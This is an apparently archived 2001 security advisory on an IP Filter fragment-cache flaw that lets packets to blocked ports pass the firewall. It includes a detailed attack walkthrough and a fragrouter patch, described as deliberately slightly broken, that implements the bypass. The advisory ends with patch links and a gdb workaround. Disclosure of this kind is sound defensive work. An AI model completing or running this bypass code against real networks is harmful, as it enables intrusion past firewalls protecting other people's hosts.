COMMAND
IPFilter
SYSTEMS AFFECTED
IPFilter prior to 3.4.17
PROBLEM
For those of you using IPFilter, it's time to patch or upgrade to
v3.4.17. Seems there's a bug with the way the application handles
fragments. A follow-up to this notice was posted by Darren Reed.
A *VERY* serious bug has been brought to my attention in IPFilter.
In 10 words or less, fragment caching with can let through "any"
packet. Ok, so that's 8.
When matching a fragment, only srcip, dstip and IP ID# are checked
and the fragment cache is checked *before* any rules are checked.
It does not even need to be a fragment. Even if you block all
fragments with a rule, fragment cache entries can be created by
packets that match state information currently held.
Thomas Lopatic did following advisory. This vulnerability enables
an attacker who has access to a single UDP or TCP port on a host
protected by an IP Filter firewall to obtain access to any other
UDP or TCP port on the same host. Although this flaw is based on
problems handling fragments, it can still be exploited even if the
rule-base explicitly blocks all fragmented packets.
It seems that this problem has been buried in the source code for
quite a while. Thus it is likely that several older releases of
IP Filter are also vulnerable. However, the only version that
Thomas hs looked at in addition to 3.4.16 is the release included
in the OpenBSD 2.8 distribution (3.3.18), which is also
vulnerable.
When IP Filter evaluates the rule-base for an IP fragment and
decides whether to pass it or block it, this decision is saved in
a "decision cache" together with the fragment's IP ID, protocol
number, source address and destination address fields.
Before any received fragment is passed through the rule-base, the
decision cache is searched for a matching entry, i.e. an entry in
which the IP ID, protocol number, source address, and destination
address fields match the corresponding fields of the fragment. If
a matching entry is found, the cached decision is applied to the
received fragment. Otherwise the fragment is passed through the
rule-base.
In this way the same decision is applied to all fragments
belonging to the same original unfragmented packet.
The cache entry is discarded after a timeout period. But an
optimization is implemented for the common case of receiving all
fragments in order, i.e. from the leading offset-0 fragment to the
last fragment with a cleared IP_MF bit. If all fragments are
received in order, the cache entry is discarded after IP Filter
has seen the last fragment.
Let us assume that we can only access port 80/TCP on a host behind
an IP Filter firewall and all other ports are blocked. However,
we know that the host also runs an FTP server that we could
compromise because we have spotted a giraffe in its code. We
would therefore like to gain access to port 21/TCP. Hence, we
patch Dug Song's fragrouter 1.6 and start doing a bit of packet
mangling.
For each TCP packet A that we send to port 21 and that we would
like to sneak through the firewall, we create a TCP packet B by
making a copy of A - i.e. we copy A's IP header, TCP header, and
TCP payload - and changing the destination port in B's TCP header
to 80. If sent, packet B would be passed by the firewall (in
contrast to packet A), because traffic to port 80/TCP is allowed
by the rule-base.
We then split B into three fragments B1, B2, and B3, keeping B's
original IP header and only adjusting the offset and length
fields. In the canonical case, these fragments would be sent in
order, IP Filter would see B1, go through the rule-base, find the
rule that allows traffic to port 80/TCP, pass B1 because it is an
offset-0 fragment and the contained TCP header fields match this
rule, cache the "pass" decision, receive B2, apply the cached
decision to B2, receive B3, apply the cached decision to B3, and
discard the cache entry after having processed B3.
Now there is a way to make IP Filter not only pass B1, B2, and B3
- i.e. apply the decision cached for B1 to B2 and B3 - but also
apply the cached "pass" decision to A. Which is convenient for
our purpose of obtaining access to port 21/TCP.
Note that the created fragments B1, B2, and B3 contain the same
fragment ID, protocol number, source address and destination
address as A. Remember that B's IP header is an exact copy of
A's IP header and that the fragments' IP headers differ from B's
IP header only in their length and offset fields.
We fragment B in the following way. If B's TCP payload is less
than 13 bytes, we pad it with null bytes.
Fragment Offset Length IP_MF Payload
------------------------------------------------------------------------
B1 0 24 1 B's TCP header, i.e. A's TCP
header + destination port = 80
bytes 0 to 3 of B's TCP payload
B2 24 8 1 bytes 4 to 11 of B's TCP payload
B3 32 depends 0 rest of B's TCP payload
on B (at least one byte)
First we send B1. IP Filter will consider the rule-base, pass the
fragment, and cache this "pass" decision. We then send B3 and B2
out of order, i.e. we send B3 before B2. The cache entry created
for B1 matches each fragment and the cached "pass" decision is
looked up and used in both cases. However, the optimization for
in-order fragments mentioned above does not apply and the cached
"pass" decision is still kept for a while. In the meantime the
destination host reassembles B1, B2, and B3.
We now send packet A. Since A has the same IP ID, source address,
destination address, and protocol number as the fragments, the
cache entry created for B1 also matches A and the cached "pass"
decision is applied to A as well. Thus, IP Filter passes A,
although it is directed to port 21/TCP and should have been
blocked according to the rule-base.
Looking at the IP Filter source code, we see that A does not need
to be fragmented to make IP Filter search its decision cache for
a match, which saves us some work in exploiting this
vulnerability.
The attack as described up to here can be prevented by adding a
filtering rule along the lines of
block in quick all with frag
which blocks all fragmented IP traffic. However, before
considering the rule-base, IP Filter searches its state-table for
a connection entry matching the received packet. On a match, IP
Filter passes the packet without touching the rule-base.
Therefore, we just send B before sending B1, B2, and B3.
Receiving B, IP Filter creates an entry in the state-table
representing a connection from our computer to the open port on
the host that we are attacking, i.e. port 80 to cling to our
example.
Since B1 contains a full TCP header and we address B1 to the same
port as B, B1 is also passed because a matching connection entry
in the state-table has already been created by the non-fragmented
packet B. The rule-base is ignored as is the "block with frag"
rule.
Passing B1, however, leads to this "pass" decision being cached,
because B1 is a fragment. This in turn allows us to pass B3, B2,
and A through the filter. As can be seen the attack still applies
even if all fragments are blocked by a filtering rule.
If we did not care about the fragments awaiting reassembly in the
victim host, we could skip the steps of sending B2 and B3 and just
send B1. The effect of IP Filter passing traffic to blocked ports
would be identical. Thanks to John McDonald of NAI's COVERT Labs
for pointing out the full implications of the vulnerability to
Thomas.
These are the - intentionally slightly broken - diffs to be
applied to fragrouter 1.6 to implement the described attack.
Supply the "-M3" option to fragrouter and route all your packets
to the fragrouter host to comfortably walk through an IP Filter
installation that exposes the described vulnerability.
diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
*** fragrouter-1.6.orig/attack.c Tue Sep 21 17:16:59 1999
--- fragrouter-1.6/attack.c Sat Apr 7 16:59:05 2001
***************
*** 126,132 ****
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! NULL,
NULL,
NULL,
NULL,
--- 126,132 ----
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
NULL,
NULL,
NULL,
***************
*** 209,214 ****
--- 209,217 ----
}
if (attack_num == 2) {
frag = misc_linuxipchains(pkt, len);
+ }
+ if (attack_num == 3) {
+ frag = misc_ipfilter(pkt, len);
}
if (frag) {
send_list(frag->head);
diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
*** fragrouter-1.6.orig/misc.c Tue Sep 21 17:14:07 1999
--- fragrouter-1.6/misc.c Sat Apr 7 17:15:56 2001
***************
*** 206,208 ****
--- 206,422 ----
return (list->head);
}
+
+ /*
+ * This demonstrates a fragmentation vulnerability in IP Filter.
+ *
+ * The code needs a small corretion to work properly.
+ *
+ * Thomas Lopatic, 2001-04-06
+ */
+
+ /*
+ * These are the ports that we have access to.
+ */
+
+ #define IPFILTER_OPEN_TCP_PORT 22
+ #define IPFILTER_OPEN_UDP_PORT 53
+
+ ELEM *
+ misc_ipfilter(u_char *pkt, int pktlen)
+ {
+ ELEM *new, *list = NULL;
+ struct ip *iph;
+ unsigned char *frag[3], *mod, *payload;
+ int i, hlen, off, len[3], copy, rest;
+ static short id = 1;
+
+ iph = (struct ip *)pkt;
+
+ if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
+ return NULL;
+
+ iph->ip_id = htons(id);
+
+ if (++id == 0)
+ ++id;
+
+ hlen = iph->ip_hl << 2;
+
+ payload = pkt + hlen;
+ rest = pktlen - hlen;
+
+ for (i = 0; i < 3; i++) {
+
+ /*
+ * Select the offset and the length for each fragment
+ * of the decoy packet.
+ */
+
+ switch (i) {
+ case 0:
+ off = IP_MF;
+ if (iph->ip_p == IPPROTO_UDP)
+ len[i] = 8;
+ else
+ len[i] = 24;
+ break;
+
+ case 1:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 1 | IP_MF;
+ else
+ off = 3 | IP_MF;
+ len[i] = 8;
+ break;
+
+ default:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 2;
+ else
+ off = 4;
+ if (rest > 0)
+ len[i] = rest;
+ else
+ len[i] = 1;
+ break;
+ }
+
+ /*
+ * Create the fragment.
+ */
+
+ if ((frag[i] = malloc(hlen + len[i])) == NULL) {
+ while (--i > 0)
+ free(frag[i]);
+ return NULL;
+ }
+
+ memcpy(frag[i], pkt, hlen);
+
+ /*
+ * Copy a piece of payload and pad with null
+ * bytes if necessary.
+ */
+
+ copy = len[i];
+
+ if (rest < copy)
+ copy = rest;
+
+ if (copy > 0) {
+ memcpy(frag[i] + hlen, payload, copy);
+ payload += copy;
+ rest -= copy;
+ }
+
+ if (copy < len[i])
+ memset(frag[i] + hlen + copy, 0, len[i] - copy);
+
+ /*
+ * No need to adjust the checksum.
+ * It is not verified by IP Filter.
+ */
+
+ if (i == 0)
+ *(unsigned short *)(frag[i] + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ /*
+ * Fix the IP header.
+ */
+
+ iph = (struct ip *)frag[i];
+
+ iph->ip_len = htons((short)(hlen + len[i]));
+ iph->ip_off = htons((short)off);
+ }
+
+ if (i == 3)
+ return NULL;
+
+ /*
+ * First have IP Filter create a state-table entry using
+ * the original packet with a modified destination port.
+ */
+
+ if ((mod = malloc(pktlen)) == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ memcpy(mod, pkt, pktlen);
+
+ *(unsigned short *)(mod + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ new = list_elem(mod, pktlen);
+ free(mod);
+
+ if (new == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * Then fragment #1 goes first...
+ */
+
+ new = list_elem(frag[0], len[0] + hlen);
+ free(frag[0]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #3 (out of order)...
+ */
+
+ new = list_elem(frag[2], len[2] + hlen);
+ free(frag[2]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #2...
+ */
+
+ new = list_elem(frag[1], len[1] + hlen);
+ free(frag[1]);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ /*
+ * ... and finally the original packet.
+ */
+
+ new = list_elem(pkt, pktlen);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ return list->head;
+ }
diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
*** fragrouter-1.6.orig/misc.h Mon Jul 26 17:08:51 1999
--- fragrouter-1.6/misc.h Sat Apr 7 16:59:05 2001
***************
*** 45,48 ****
--- 45,50 ----
ELEM *misc_linuxipchains(u_char *pkt, int pktlen);
+ ELEM *misc_ipfilter(u_char *pkt, int pktlen);
+
#endif /* MISC_H */
SOLUTION
How to disable fragment caching? In realtime, use adb or gdb or
kgdb or whatever to change the variable named "ipfr_inuse" to
1000000. 1000000 isn't important, it just needs to be larger
than IPFT_SIZE and an integer. There are no sysctl's on BSD
systems to adjust this if securelevel is > 0.
IP Filter 3.3.22:
ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.3.22.tar.gz
ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.3.22.gz
http://coombs.anu.edu.au/~avalon/ip_fil3.3.22.tar.gz
http://coombs.anu.edu.au/~avalon/patch-3.3.22.gz
IP Filter 3.4.17
ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.4.17.tar.gz
ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.4.17.gz
http://coombs.anu.edu.au/~avalon/ip_fil3.4.17.tar.gz
http://coombs.anu.edu.au/~avalon/patch-3.4.17.gz
For FreeBSD:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/ipfilter.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/ipfilter.patch.asc
For NetBSD upgrade the system from newer sources or binaries.
Systems running NetBSD-current dated from before April 6, 2001
should be upgraded to NetBSD-current dated April 6, 2001 or later.
Systems running NetBSD 1.5.x systems dated from before April 14,
2001 should be upgraded to NetBSD 1.5.x dated April 14, 2001 or
later. NetBSD 1.5.1 will ship with the fix. Systems running
NetBSD 1.4.x systems dated from before April 14, 2001 should be
upgraded to NetBSD 1.4.x dated April 14, 2001 or later. If you
cannot upgrade the kernel and if you are running on a platform
that supports it, you can patch the kernel binary using gdb:
# gdb --write /netbsd
(gdb) set ipfr_inuse=1000000
(gdb) quit
Then reboot your system for the change to take effect. The value
1000000 is not important, it just has to be greater than the
IPFT_SIZE constant.